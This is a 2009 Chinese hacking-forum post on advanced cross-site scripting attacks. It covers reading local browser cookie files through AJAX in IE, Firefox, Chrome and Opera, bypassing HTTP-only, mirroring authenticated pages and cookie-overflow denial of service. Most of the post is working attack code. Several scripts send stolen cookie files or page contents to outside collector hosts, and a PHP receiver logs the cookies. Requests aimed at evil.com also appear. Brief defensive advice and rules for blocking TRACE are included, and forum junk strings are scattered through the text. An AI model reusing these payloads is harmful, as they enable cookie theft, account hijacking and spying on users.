XSS的高级利用部分总结 -蠕虫

admin

XSS的高级利用部分总结 -蠕虫,HTTP-only,AJAX本地文件操作,镜象网页
本帖最后由 racle 于 2009-5-30 09:19 编辑
3 Y( z1 c$ t* Q9 E: F0 l7 R( [( g
XSS的高级利用总结 -蠕虫,HTTPONLY,AJAX本地文件操作,镜象网页
" z: ~# K( w5 _( ~0 BBy racle@tian6.com   
# ]3 H6 k* q9 q6 ohttp://bbs.tian6.com/thread-12711-1-1.html
转帖请保留版权
1 b5 O  P6 w4 `/ [


-------------------------------------------前言---------------------------------------------------------
* [5 {9 V5 q" ~- k' [4 B  V/ x

9 w7 ^! g5 L" c' Y& U# u. O5 E本文将撇开XSS语句,JS脚本,如何无错插入XSS语句,如何过滤和绕过XSS语句过滤,CSRF等知识点.也就是说,你必须已经具备一定XSS知识,才能看懂本文.
$ J( B4 ?% a% }: w+ Z6 {/ e  l

如果你还未具备基础XSS知识,以下几个文章建议拜读:
# I& ?% `" c4 n% B% o8 p# Y0 qhttp://www.lib.tsinghua.edu.cn/chinese/INTERNET/JavaScript/        JavaScript中文简介
, w/ k4 o/ Z* _http://www.google.com/search?q=XSS+%D3%EF%BE%E4        XSS语句大全
http://www.google.com/search?q=XSS+%C8%C6%B9%FD        XSS语句绕过
. E/ g9 @# j) v! h& E$ V" N# ihttp://www.80vul.com/dzvul/sodb/03/sodb-2008-03.txt        FLASH CSRF
) h# ^9 _& X$ _  H7 V2 {3 shttp://bbs.tian6.com/thread-12239-1-1.html        突破XSS字符数量限制执行任意JS代码
http://bbs.tian6.com/thread-12241-1-1.html        利用窗口引用漏洞和XSS漏洞实现浏览器劫持

8 d3 X! S6 j9 Y" ^! [
3 l9 R* ]9 L$ q9 Z* J
7 _+ u+ P3 B5 J( _& H* n
如果本文内容在你眼里显得非常陌生,或者难以理解,或者干燥无味,那正代表你对XSS了解甚少.
5 b2 a7 a& p3 G4 H: W
希望天阳会员本着技术学习为主的精神,真正的学习和掌握每门安全技术.因此,如果你来天阳是因为你想真正学会一些什么东西的话,请静下心来,看懂,看透,实际测试弄通本文.那么你对XSS的驾驭能力,自然大幅提高.

如果你认为XSS是无足轻重的问题,只不过是常见的一个弹窗,或者你认为XSS作用域狭窄,或者你认为XSS威力微不足道,那么请先看看以下片段:Twitter遭遇疯狂XSS    6次XSS蠕虫版本变化,

Baidu xss蠕虫         感染了8700多个blog.媒体影响力,关注度巨大

( B5 j, V% O& T# Q+ MQQ ZONE,校内网XSS     感染过万QQ ZONE.

OWASP MYSPACE XSS蠕虫        20小时内传染一百万用户,最后导致MySpace瘫痪
7 ?  d$ u' D+ @( I9 b) L% O; Z
! O* v$ X- ~) Q! r..........
复制代码------------------------------------------介绍-------------------------------------------------------------
, l. f8 q: f: P# Q7 _
( R% P' T6 S' r) m; S( c( x) H什么是XSS?XSS又叫CSS (Cross Site Script) ,跨站脚本攻击.它指的是恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意用户的特殊目的.XSS属于被动式的攻击,因为其被动且不好利用,所以许多人常呼略其危害性.
/ w! q: d3 i# J- _7 Y: Y

. e& P2 @9 Q# h5 u& z
  E- [1 E: G3 v* \跨站攻击有多种方式,由HTML语言允许使用脚本进行简单交互,入侵者便通过技术手段在某个页面里插入一个恶意HTML代码——例如记录论坛保存的用户信息（Cookie）,由于Cookie保存了完整的用户名和密码资料,用户就会遭受安全损失.当然,攻击者有时也会在网页中加入一些以.JS 或.VBS为后尾名的代码时,在我们浏览时,同样我们也会被攻击到.
; n3 A4 V; {. ]9 N. g9 T
3 z! ^' P  I( T/ z
/ p. W0 k; N6 y
5 [2 E5 C, w( W2 C9 }; T- V* f如何寻找,如何绕过各种限制,成功无错的执行XSS代码,我们在这里并不讨论.相关的文章在网上也有很多.
( T+ z7 Q( D$ B: o8 w7 g4 o4 x复制代码现今XSS替代了SQL-INJECTION,成为web security课题的首位安全问题.XSS已经成为WEB安全的重要课题.
' W: _4 t2 q) l" t% |6 Q我们在这里重点探讨以下几个问题:

  `$ L8 _( |# I1 x- k, {1        通过XSS,我们能实现什么?
) R( v& l$ P$ I* T. P
! h' e  l. I- }1 }7 z9 V2        如何通过HTTP-only保护COOKIES. 又如何突破HTTP-only,又如何补救?

& s  v( d& y+ J# w* e3        XSS的高级利用和高级综合型XSS蠕虫的可行性?

4        XSS漏洞在输出和输入两个方面怎么才能避免.



------------------------------------------研究正题----------------------------------------------------------
( s- z4 u5 d- r; d
6 F0 V1 W& Y* P% d" `
8 s" |5 [5 f! ~
通过XSS,我们能实现什么?通过XSS,我们可以获得用户的COOKIES等信息,模拟用户本身进行HTTP提交,读取客户端本地文件,欺骗社工.结合以上功能,我们还能写出综合高级蠕虫.
3 [0 f  _" u, @" B% J" Y9 Y复制代码XSS的高级利用与及综合性XSS高级蠕虫:我们主要讨论XSS在不同的浏览器下的权限限制&&XSS截屏;镜象网页,http only bypass(Cross-Site Tracing XST).写出我们自己的高级XSS蠕虫
复制代码XSS漏洞在输出和输入两个方面怎么才能避免.
1:为网站各个动态页面分安全等级,划分重点和次重点区域,分等级采用不同的输入限制规则.
6 m  P# J2 Z) U  k2:严格控制输入类型,根据实际需求选用数字,字符,特殊格式的限制.
3:在浏览器端输出时对HTML特殊字符进行了转义,常见采用htmlspecialchars,htmlentities.但是过滤了特殊字符,并不意味就是安全的.很多绕过方法都是争对单纯过滤进行的,譬如URL,8进制,16进制,String.fromCharCode转编码,UBB绕过等.因此应注意每处接受动态输入的代码审计.数据保存在innertxt,标签属性均应处于“”内.
4:Http-only可以采用作为COOKIES保护方式之一.


  D: |5 @4 `( j5 G( l
9 X! p* [; n1 I3 }8 P6 B
  p. W. A; w" p) P3 o0 }3 d9 r; p
7 T  Z; z5 _; h/ X( S(I) AJAX在不同的浏览器下的本地文件操作权限读取本地的COOKIES,常见的敏感文件如:FTP的INI,etc/shadow,各种第三方应用程序的敏感文件等,并且将内容反馈给攻击者)

2 `4 g7 h8 x2 ^/ m3 k/ \+ N我们可以参考空虚浪子心的两篇文章,与及XEYE TEAM的统计信息:    1: ie6可读取无限制本地文件.ie8以及相应版本的trident内核浏览器对ajax本地执行时的权限控制得很死的，看来MS对IE这类安全风险比较重视。(这有一些问题，随后修正!)
% `) k$ @9 z$ P( d0 L8 a
4 l# X5 b# y0 D3 L
' y# s0 g7 a9 Z8 }* a
    2: ff 3.0.8及以下版本允许本地执行的ajax访问当前目录下的文件内容。其他目录暂无法访问。
. {& e' p4 U6 t' w
! \& n2 G7 H( s! G% P+ |

9 n4 o, v+ {! W    3: opera9.64及以下版本允许通过指定url为file://协议进行访问；如果文件在当前目录下，则不需要指定file://协议；如果文件在同一盘符下甚至可以超越目录的方式访问:../../boot.ini。


7 Q' O* p8 W! E0 u$ X  }
) J: I1 K9 H1 C4 v# ^, D2 i$ h2 u    4: 基于webkit内核：google chrome、遨游3.0、safari等浏览器对本地执行的ajax权限没做任何访问限制.
复制代码IE6使用ajax读取本地文件    <script>

    function $(x){return document.getElementById(x)}
* z4 K9 Z% G9 e9 T4 u$ Z% M

+ A4 ~' M/ m/ A; P
- z/ u3 i) n' H, |    function ajax_obj(){
! n: |! r# e/ a4 t
    var request = false;

    if(window.XMLHttpRequest) {
" @/ F& y5 K9 R  V: n  S/ S
    request = new XMLHttpRequest();

2 A2 H# M8 F0 z# T0 \0 T) s    } else if(window.ActiveXObject) {
6 Z/ m' d% \+ g
    var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0',


9 c! Z# ~% d* z3 P
    'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
5 Y* N, w! F& b0 D+ D, M
    for(var i=0; i<versions.length; i++) {
2 Z2 ]% X$ s: s/ T
! D& [* \5 |+ d, Z& N5 i    try {

    request = new ActiveXObject(versions);
+ g( Q" l8 {, j- ~7 z; L
    } catch(e) {}

2 c) |! k$ B& Y& \5 J! @    }
1 c# H9 x9 \# n- l
  c) h/ ]0 S% C9 f; s    }

3 e9 N* B2 A2 y( e- t" I9 \& W    return request;
1 b5 ]2 {% _# G5 y0 `
' e- e% _9 v6 d7 A9 t4 z! B! P    }

1 v6 I# o: W, \    var _x = ajax_obj();

    function _7or3(_m,action,argv){

3 f5 b" S: D9 [! c  V    _x.open(_m,action,false);

' P" G) d* b4 f* g    if(_m=="OST")_x.setRequestHeader("Content-Type","application/x-www-form-urlencoded");

    _x.send(argv);

    return _x.responseText;
1 Y4 ?) B3 y" I+ m% D- V
" u: ^: `, T/ z1 i  Y    }


! N5 l2 C2 f( ]4 Z4 {8 B* @& D
, H; j4 _' @6 P! N0 A- Q    var txt=_7or3("GET","file://localhost/C:/11.txt",null);
7 t+ |% V3 Y# u0 l3 S
    alert(txt);

. t% H/ c3 _1 i3 k; m+ q3 S

" g6 `; J( V4 Z    </script>
0 v1 s- u+ a7 O  w( u复制代码FIREFOX 3使用ajax读取本地文件,仅能读取同目录,及其下属目录下文件.    <script>

    function $(x){return document.getElementById(x)}
3 X' |  F  o$ T, E: l
7 e$ N) Q$ h! _( I1 Y8 R
" K4 M# c4 k) u0 v& [( F
    function ajax_obj(){
# v2 {( l) k6 m1 l6 a& [5 w9 _
$ K7 O: F( g4 L* T* O    var request = false;

. p4 C; C$ L0 t: Y    if(window.XMLHttpRequest) {

    request = new XMLHttpRequest();

2 G7 ?* o5 O! c9 o& q9 b    } else if(window.ActiveXObject) {

    var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0',



    'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
8 h, p: ^) @; Y, g( o: B" H8 C
8 S1 T9 U- G2 a1 k# L5 g    for(var i=0; i<versions.length; i++) {
) w5 R5 U1 f& a/ z( M$ }( S9 D2 }
    try {
+ m* z3 `, H1 G8 V2 Q* B) k' e: K
6 S" F: B5 I# S0 t: o& m    request = new ActiveXObject(versions);

    } catch(e) {}
; ]8 Z6 d' c3 z; v
% ]" f: {( J' E3 k% \) a/ Q    }

    }
" Y1 ]4 r, M) c$ h- ]
    return request;
; `- l% f: Z5 E6 e# o  H
! Y; H% L3 W0 g& a# w    }

+ K' r; a% H% u8 h* _4 [    var _x = ajax_obj();
7 l  x/ n5 v: ?. \) |
    function _7or3(_m,action,argv){

5 D4 q4 o. ^# i    _x.open(_m,action,false);
' c, n# N$ B3 j' I, c- ^
    if(_m=="OST")_x.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
: M! M: _4 [: _2 p, F7 G
    _x.send(argv);
  G$ r4 F8 Y: G$ [
    return _x.responseText;

# }1 p" u! M" T! n: D) g    }

5 w/ w+ K7 @; n/ p; e
% l; M. z5 n; @# I2 ]
1 D8 X6 j' Q" j' D    var txt=_7or3("GET","1/11.txt",null);
6 R: [+ [( A. b0 M! O) l
    alert(txt);


" ^+ U0 K, H! m6 r
    </script>
复制代码Google Chrome使用ajax读取本地文件Chrome的cookie默认保存在"C:\Documents and Settings\administrator\Local Settings\Application Data\Google\Chrome\User Data\Default\Cookies”



( r, Q, B8 ^0 m( U/ X9 Z3 }Chrome的历史保存在"C:\Documents and Settings\administrator\Local Settings\Application Data\Google\Chrome\User Data\Default\History"
4 B7 X# [! c3 c3 [7 G

3 y- x( j1 a! J
<?   

/*  
9 M2 P3 c! w9 F, q
$ W. o7 V% Z% A# G' i     Chrome 1.0.154.53 use ajax read local txt file and upload exp  

3 [+ ^  X4 n: g. u     www.inbreak.net   
" C$ f% o! u. O/ Z
/ K! K: a0 E9 t* t& n1 h+ S     author voidloafer@gmail.com 2009-4-22   
3 D  O" g' s1 |/ {5 A) ?6 N4 V
6 R- w/ R3 A8 J' ^) p     http://www.inbreak.net/kxlzxtest/testxss/a.php get cookie and save.  
: K5 U2 u+ f$ c& D1 m5 ?: ^
*/  
, G, @7 _9 w* |' u1 j; x
header("Content-Disposition: attachment;filename=kxlzx.htm");   
3 v, S; d; ?6 Z6 k: m6 V
! Q9 c+ t6 z  Lheader("Content-type: application/kxlzx");   

/*  
) B' s% Q9 W3 Y/ `( `9 G# W
     set header, so just download html file,and open it at local.  
/ U, ]7 M+ ~3 r( @
) X: w# O* I# A*/  

# B* q" A. J* T2 V/ z. a?>   
; e6 w( n% N: m5 @4 O7 @
4 F1 D$ {+ D7 y: C; x<form id="form" action="http://www.inbreak.net/kxlzxtest/testxss/a.php" method="OST">   
( F' }, k6 s# f4 n
. i. x3 Y2 q, ~     <input id="input" name="cookie" value="" type="hidden">   
) f5 j7 q: R- H8 n: }' }: ?
  o5 Y$ B3 j* U. M</form>   

<script>   

  @( A" P5 N  s. `! R( n2 _5 k6 Kfunction doMyAjax(user)   

  v& N( l% G+ A3 K* M' o6 K3 x{   
9 t! I" F$ t: K8 a
4 \3 b; x  ^: Cvar time = Math.random();   
* k* O: J- p- `. s' ?* d0 N
+ H& b8 E& I& }; A+ X$ T8 [  Y/*  

6 t8 E. l( Y+ [; @, ^5 `( x* uthe cookie at C:\Documents and Settings\kxlzx\Local Settings\Application Data\Google\Chrome\User Data\Default  

. X9 L* [' f" I0 R9 u3 Gand the history at C:\Documents and Settings\kxlzx\Local Settings\Application Data\Google\Chrome\User Data\History  

. U1 C- Z1 e) E/ ^* H* H. `6 xand so on...  

*/  

3 `  H' Y/ h) y- q6 Y% R7 D+ d# V+ Evar strPer = 'file://localhost/C:/Documents and Settings/'+user+'/Local Settings/Application Data/Google/Chrome/User Data/Default/Cookies?time='+time;   
, P6 D! ]/ y5 i) P- z$ X
   

1 ~( p  I8 y6 sstartRequest(strPer);   

, c! ?( W) H! M) F9 O) O8 Y
% {7 }3 m# y  Y# b8 U+ K
}   

, D9 X  _2 u, T- ~$ M6 E: ]   
& q: k  Q' s# m+ w, k: `+ d* @4 D
function Enshellcode(txt)   
- |- |& z2 N8 H6 ]0 \% J; o" p
, d& A8 l8 `  s3 g$ \{   

. E3 B+ I; ]- \. Vvar url=new String(txt);   
% J5 ~& \0 F( I( A7 T9 V
: C% r4 z5 l; r! X( M" lvar i=0,l=0,k=0,curl="";   
) F7 @0 u1 G9 J' o
+ o5 B$ q  o& Vl= url.length;   
  B. N7 z9 L6 O
/ f: V4 _9 [, r* G* J+ f  rfor(;i<l;i++){   
- y- N  a6 ?  ^% z
k=url.charCodeAt(i);   

if(k<16)curl+="0"+k.toString(16);else curl+=k.toString(16);}   
" f* b- B. S+ l+ R% i) w8 C
if (l%2){curl+="00";}else{curl+="0000";}   
( A; v- F2 E# m# |4 u$ ^- |: N
curl=curl.replace(/(..)(..)/g,"%u$2$1");   
. {' t1 O3 v3 [& l3 w9 z5 j0 R
return curl;   

}   

   

0 J2 \3 `( N( h+ T9 O   

var xmlHttp;   
; `# C4 L/ V" s" {
function createXMLHttp(){   

     if(window.XMLHttpRequest){   

xmlHttp = new XMLHttpRequest();           

     }   

     else if(window.ActiveXObject){   
1 G; ^- l, p1 @. J8 G
xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");   

     }   
* W  P6 ^: w. Z6 g: A6 n- i
}   
- U* x0 d. o) H6 H4 Q& E4 H
6 T& g/ P  _" @1 v( ~   
; @' `2 R" U+ p1 Z( l9 q) b
& ^( Q. i- b; F6 y, a! b3 `# kfunction startRequest(doUrl){   
# V5 a6 y3 o. `1 G& s( r5 Q/ T
   

     createXMLHttp();   



     xmlHttp.onreadystatechange = handleStateChange;   



7 G5 h4 ~% p$ \4 h; k5 f' {" L& v, x     xmlHttp.open("GET", doUrl, true);   
) ?3 n/ t4 t0 |


     xmlHttp.send(null);   
* x- ]* {9 N3 J  U! V- ^' |, e
4 W; p5 T/ |2 P! i- f6 w7 E# S

5 A; d" s7 O+ U
9 h% M2 z2 q. [6 ]1 F. v) h
}   
0 N" C. _, a& S! |
   
7 f2 Y  a& X0 F
function handleStateChange(){   

     if (xmlHttp.readyState == 4 ){   

     var strResponse = "";   
- Y) A; Y7 d# y- U5 n- x; Q  L* Q
+ B% x" E+ Z- w     setTimeout("framekxlzxPost(xmlHttp.responseText)", 3000);   
+ _+ r4 Q8 C$ P$ L" C
$ |$ _: g7 K) J9 S" `# @8 z6 [- x        

( r+ z; Z- _5 N4 u2 H3 ]+ E, u     }   
$ m* W. i" a( |+ l' m+ V! T/ Q
( \& n  m/ t  H}   
5 @8 V+ Q/ v) |0 B
   

; m+ E7 G3 I9 b* l8 H( o   
  T0 y! z0 \+ k
, o1 m3 T4 _2 x5 Yfunction framekxlzxPost(text)   

  w$ C+ b) L/ B* N4 ~1 l4 i( ?{   

8 {( s# ]3 W( Q1 G! P- E     document.getElementById("input").value = Enshellcode(text);   

     document.getElementById("form").submit();   

# P( N, n& f; H& c6 y}   

8 c* j# x* H7 R8 k   

- ?# X) y5 \% {; l/ o0 AdoMyAjax("administrator");   
+ ~0 \, Z' Q  q6 d* x% {
   

$ F6 j' o; i+ r0 t( }9 m0 w</script>
复制代码opera 9.52使用ajax读取本地COOKIES文件<script>  
4 J9 ~% `7 j; Y. H( l
var xmlHttp;  

; _5 E' ?; w! E5 t( `/ F! Tfunction createXMLHttp(){  
0 {7 J4 n: K5 B4 g& ]: u. {
! t0 x1 m2 Q3 D: X- p( ~; s     if(window.XMLHttpRequest){  

         xmlHttp = new XMLHttpRequest();         

. n' I& _, a3 c+ b0 o     }  

: W) r$ l  x" P! i. n! p     else if(window.ActiveXObject){  

         xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");  
; ]: v2 f/ v; b& {: P9 o3 W
     }  

: b# f3 y% o0 a- x! e" Z( |}  

   
& T! l( Q3 |" L1 `
function startRequest(doUrl){  

% ?& x9 o2 F! C' s           

) W( b& A& j2 G) U2 R: P' Z     createXMLHttp();  

      

/ O/ R( ?  T, |     xmlHttp.onreadystatechange = handleStateChange;  
& a/ y4 d1 q( J/ z2 t) ]8 ?4 {
! Y$ Q# W0 i1 I% k0 i      

4 z' _/ M5 a! c. p: [9 x     xmlHttp.open("GET", doUrl, true);  

4 @& i( c! m& I0 C; [3 b7 X. D      
, A. g/ j+ r' X3 n) Y
5 v8 F6 a7 o0 \. |& h     xmlHttp.send(null);  
1 c0 H0 J! c  \
      
/ }- T8 O  h# W" n* b
      

}   

+ c2 j* p8 ]1 Z/ D8 R) J# h/ Z   
' N9 M4 Z% Q- U( R+ z
, a- ~% d9 u: afunction handleStateChange(){  

     if (xmlHttp.readyState == 4 ){  

/ g# v+ b# ]; ]( f6 s# S4 O             var strResponse = "";  

8 b7 S. n+ K: }8 S. }2 w             setTimeout("framekxlzxPost(xmlHttp.responseText)", 1000);   

4 u, S& z/ ^6 t: S$ k+ Y- I6 v6 m               
1 k4 C$ B$ f# D) K
) {, i% k! k# ^     }  
0 m9 j% S- \" E3 i4 i) O
}  

   

4 x' k  j0 e% U2 l1 C( sfunction doMyAjax(user,file)  

1 D  C% ~7 Z- `0 W6 S$ ~1 }1 I{  

3 P" w' ?$ x1 f8 x         var time = Math.random();  
5 _2 Z* ^: D! R& A
5 z( w' L* _8 n           
) E: W, q4 X1 z6 I4 M
         var strPer = 'file://localhost/C:/Documents%20and%20Settings/'+user+'/Cookies/'+file+'?time='+time;  
' x- z  [: Y$ n2 K( k& x! q
- e( K; M' w; u% F/ R0 ]; F' m" r           

! I0 Q  ]: U+ l8 V6 Y         startRequest(strPer);  
& M. f8 A" w+ O! F$ ]; M% Q, I
      

! s/ u1 W+ ?, i8 f}  

   

function framekxlzxPost(text)  
. Z( t. f! j' ~3 _* q/ ^. a% G' u
{  
% x& k9 ^* J, D2 j* k
* [1 y, L2 X; a0 a6 Z' l     document.getElementById('framekxlzx').src="http://www.inbreak.net/kxlzxtest/testxss/a.php?cookie="+escape(text);  

9 I8 W1 B5 k8 r$ x     alert(/ok/);  

, T( q( U! q3 f  Y3 ], H4 B' v}  

   

doMyAjax('administrator','administrator@alibaba[1].txt');  

. h/ M' E5 A8 @" W, U   
2 }$ m1 t4 T' @1 w
) {! ?! m6 f- a8 \</script>
( o' R" B$ t  i) z0 C" v8 z) T
8 ~) N  f6 W$ e. P1 h+ D- b/ J

1 q7 J3 H9 U( l: d$ Y: j( T' ^: K* R# ^

) p6 ~. |2 Z1 H+ e1 ga.php
& V2 {) h& \; ^, A+ X
( b4 H* h3 w/ W! z1 N
! b% g" B0 n% q" \# \& n% I3 ~
<?php      
; K/ L& ^# n1 \* L* s
   
& G; r* x; j# D% w4 D* F" X
$user_IP = ($_SERVER["HTTP_VIA"]) ? $_SERVER["HTTP_X_FORWARDED_FOR"] : $_SERVER["REMOTE_ADDR"];  

$user_IP = ($user_IP) ? $user_IP : $_SERVER["REMOTE_ADDR"];   
) N5 v1 ^  S8 D
6 J- P" o$ b+ e. R, c! G  
0 O9 w6 W) H& S/ }7 p* ~( a* R
2 z! v4 Y1 J4 y6 P% f7 S3 t  B; Q$fp = fopen($user_IP.date("Y-m-d H:i:s")."cookie.txt","wb");     
4 N4 J/ j" j. d# ]* d& O& U
# w; Y" q  r, b9 L- j' f  j3 X4 R5 bfwrite($fp,$_GET["cookie"]);      
$ ^" P" s, T+ i( `6 k
6 O8 {4 N9 _  O( O) efclose($fp);   

?>
* a# \$ j% ^9 d' {2 f复制代码(II) XSS截屏-镜象网页与XSS实现DDOS:
4 X# I5 M1 \9 l. d2 c
* ^/ Z8 {. I+ J( ]; T; a或许你对你女朋友的校内网里的好友列表感兴趣,又或者你对你的客户部竞争对手的电话通信记录感兴趣,那么这个由XEYE TEAM提出的新想法,对你就有用.
利用XSS获得指定的受控者授权状态下的页面源代码,再传发到目标页面,处理好相对路径,那么攻击者就能截取任意一个受控端的授权状态下的镜象网页.达到类似远程控制程序截屏的功能.
( w* b1 z# R0 l7 B* Y  \8 y0 v
代码片段://xmlHttpReq.open("GET","AWebSiteWhichYouNeedToCatch.com",false);

//xmlHttpReq.open("GET","http://friend.xiaonei.com/myfriendlistx.do",false);
/ d7 k; i# k$ t$ a
//xmlHttpReq.open("GET","http://chinatelecom.com/mylistofnopermonth.jsp?no=139xxxxxxxx",false);
; N3 `. }+ W5 j, z0 W
7 o8 p$ Z7 W, j4 ?7 p9 tfunction getURL(s) {
6 f  C5 f0 x7 ?7 J4 \0 `6 S
8 f( D' d" N8 K. ?- S: T: Uvar image = new Image();
6 N' r5 _- G( g) u/ g4 G. X) k; G
* Q9 a. u/ b6 cimage.style.width = 0;

image.style.height = 0;

' L1 s$ L6 S9 f* [% c+ P8 w+ kimage.src = s;

}
5 |6 `! B$ q. Q7 ]! s
. V. ~: W3 O! x! x7 P5 Y( }0 K' R+ C; VgetURL("http://urwebsite.com/get.php?pagescopies="+xmlHttpReq.responseText);
6 V6 y( i+ v4 s5 N0 B/ X复制代码XSS也能大材小用DDOS? 利用XSS操作COOKIES,导致HEADER部分过大,引发IIS或APACHE等服务端CRASH或者拒绝响应.生效时长与COOKIES允许保存时间相等.
4 e9 c& }6 t/ z* l: z# _0 y这里引用大风的一段简单代码:<script language="javascript">
' N+ Y$ f: @9 I6 |! |1 ~6 G7 k$ ~3 S
) H9 r" F& I$ C9 Q4 avar metastr = "AAAAAAAAAA"; // 10 A

var str = "";
" T; y) w. T5 F$ t% }
while (str.length < 4000){
3 m; q# W1 C7 @# D& d5 w
    str += metastr;
/ R( U+ \: J* d1 ^: o$ D+ ?
}
2 c5 s- \3 ^- \% p* [7 ?6 l


& }4 \9 m3 y  U% f. ?) Ndocument.cookie = "evil3=" + "\<script\>alert(xss)\<\/script\>" +";expires=Thu, 18-Apr-2019 08:37:43 GMT;";    // 一些老版本的webserver可能在这里还会存在XSS
( _" Y! H$ O2 l, k
</script>
& j& U7 }; K& I% k; {9 u
. w/ L& k9 f; C( N8 S; N, Q7 E详细代码请看:http://hi.baidu.com/aullik5/blog ... aeaac0a7866913.html
复制代码如果你觉得XSS用来DDOS太可惜的话,这里也提供另外一篇文章供你参考,随与XSS无关,但是却也挺有意思.
2 w+ E% |- P, t! f9 Q! h* Z' Fserver limit ddos利用随想 - 空虚浪子心 http://www.inbreak.net/?action=show&id=150
6 V3 S9 Z/ {3 d- e7 @9 t
+ r% h* k! Y: _4 K$ g  c$ G假设msn.com出现了问题,被XSS了.并且攻击者把COOKIES 设置成yahoo.com的.那么所有访问msn.com的用户将无法访问yahoo.com.
攻击者在自己的网站上iframe了server limit ddos,目标设置为竞争对手myass.com,那么所有访问过攻击者网站的人,将无法访问其同行竞争对手myass.com的网站,这样不很妙么?呵呵.

0 `* o/ z& f+ i- h




(III) Http only bypass 与 补救对策:

9 T& C" j: C. ^) V; O# V: a4 q; _+ x什么是HTTP-ONLY?HTTP-ONLY为Cookie提供了一个新属性，用以阻止客户端脚本访问Cookie.
以下是测试采用HTTPONLY与不采用时,遭受XSS时,COOKIES的保护差别。<script type="text/javascript">
- k( H: t* D6 ]1 F
<!--

function normalCookie() {

( Z& }% X8 V! h6 W$ R# d* m  g( udocument.cookie = "TheCookieName=CookieValue_httpOnly";
! U% O' Z! S; r" h2 B- l# p
+ c3 K$ ^' o$ t8 [9 c4 valert(document.cookie);

}

$ M) E/ j8 e; G4 z



function httpOnlyCookie() {
0 n% g& U& @$ Y, H+ f5 V
4 K  W. ?8 v1 e8 Tdocument.cookie = "TheCookieName=CookieValue_httpOnly; httpOnly";

* @& |' X  w6 P; c8 G% |alert(document.cookie);}

6 t: s! C# U  z# P. e+ C8 q- G

//-->

</script>
$ q! X  p3 X0 C6 b


" B% f; i0 q! e<FORM><INPUT TYPE=BUTTON OnClick="normalCookie();" VALUE='Display Normal Cookie'>
% ]/ ]/ |! D9 B3 m/ [* ~
<INPUT TYPE=BUTTON OnClick="httpOnlyCookie();" VALUE='Display HTTPONLY Cookie'></FORM>
, o2 ^5 j" y% _/ k$ @5 h4 J复制代码但是采用HTPPONLY就安全了吗?不一定.采用TRACE获得HEADER里的COOKIES:<script>
: H; U! v9 {9 b9 Q' m: i0 x
* e. N; P: L7 h$ C1 Z3 X/ \/ g) L

var request = false;
6 w6 n" f; G: x- ^- k* q( F" ]
: z7 Q7 q5 {5 H: M1 H1 ]        if(window.XMLHttpRequest) {

            request = new XMLHttpRequest();
: D4 R( l: i1 f  u: {$ \% T" D4 ~
1 y3 J; L9 K9 v% }2 \            if(request.overrideMimeType) {

4 C" b) R$ x; u* _                request.overrideMimeType('text/xml');

4 {3 h; O7 c0 ]4 m$ |# ]# i            }

        } else if(window.ActiveXObject) {

            var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0','Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
$ J, K9 }) L8 A! U
* l) f, Z' t2 }) ~! u            for(var i=0; i<versions.length; i++) {

3 q8 c4 p; f8 M$ \                try {
# R! w* {0 G; }# O. K$ W
                    request = new ActiveXObject(versions);

                } catch(e) {}

; l! L/ a' y6 M" @$ y* @            }
( P; {) Q+ d- T- Z
+ F3 k) i% c% n8 p( G. M  f        }

xmlHttp=request;

; v; E7 ^& k& q( S6 mxmlHttp.open("TRACE","http://www.vul.com",false);
/ U2 ~( I, ~6 Z
xmlHttp.send(null);
: K; ^# W7 i/ V5 o! A
xmlDoc=xmlHttp.responseText;
' n9 A' @+ ?( z- `( z  f
alert(xmlDoc);

  \$ Q% [, O9 `, f3 u</script>
1 ~, H& K  @( p0 R, n复制代码但是许多网站并不支持TRACE调试命令,那么我们还可以通过访问phpinfo();页面,筛选带有COOKIE的字段值.<script>

4 N% ]/ G5 a# [* h+ h3 k' cvar XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
' j4 E& s9 j# ~# |9 o
XmlHttp.open("GET","http://www.google.com",false);

' c; H7 @# w/ I, gXmlHttp.setRequestHeader("Host","www.evil.com/collet.php");

XmlHttp.send(null);
! Q3 z! r% s5 l; O& O1 f
var resource=xmlHttp.responseText

( \- a3 V7 V& D" L$ Wresource.search(/cookies/);

+ o% ~' ^/ F2 n: ^: H& {......................

3 l% W2 _5 S, M7 _; `</script>
, ?9 m" a/ e% _, A: N" A  }
/ B4 Z* G+ p0 v& U

( G/ @, ~, p0 h; n- b( R' W4 H

2 z$ g4 M& Y2 f7 n$ V0 @如何防止对方采用TRACE访问你的网站?APACHE可以采用.htaccess来Rewrite TRACE请求
- l7 ~/ I9 C4 O" T/ G
[code]

RewriteEngine On

RewriteCond %{REQUEST_METHOD} ^TRACE
! a5 \) d1 N" b  T! o" i, m; A( h/ B
RewriteRule .* - [F]

# {/ Q# A- U* V- b* t7 D
6 \2 k7 S* t3 U: v3 Q+ h# I/ i
. h9 U4 F: [4 H! x. N. S4 B6 {Squid可以添加以下信息到Squid configuration file (squid.conf),屏蔽TRACE请求
+ B3 }! i) p  W& R7 p$ Z+ E5 P" h  c5 j
, `" U% j' {# ?+ Q3 A/ Wacl TRACE method TRACE

...
- n5 J: f. q  Z: `
http_access deny TRACE
复制代码突破还可以采用XmlHttp.setRequestHeader.通过setRequestHeader,把COOKIES等信息转向到目标页面.<script>
' R) V8 y5 l6 g" P
& N& e4 D# T3 u6 ^. m7 ~/ Fvar XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");

( F9 j# B. y: t! a9 p. qXmlHttp.open("GET","http://www.google.com",false);

XmlHttp.setRequestHeader("Host","www.evil.com/collet.php");
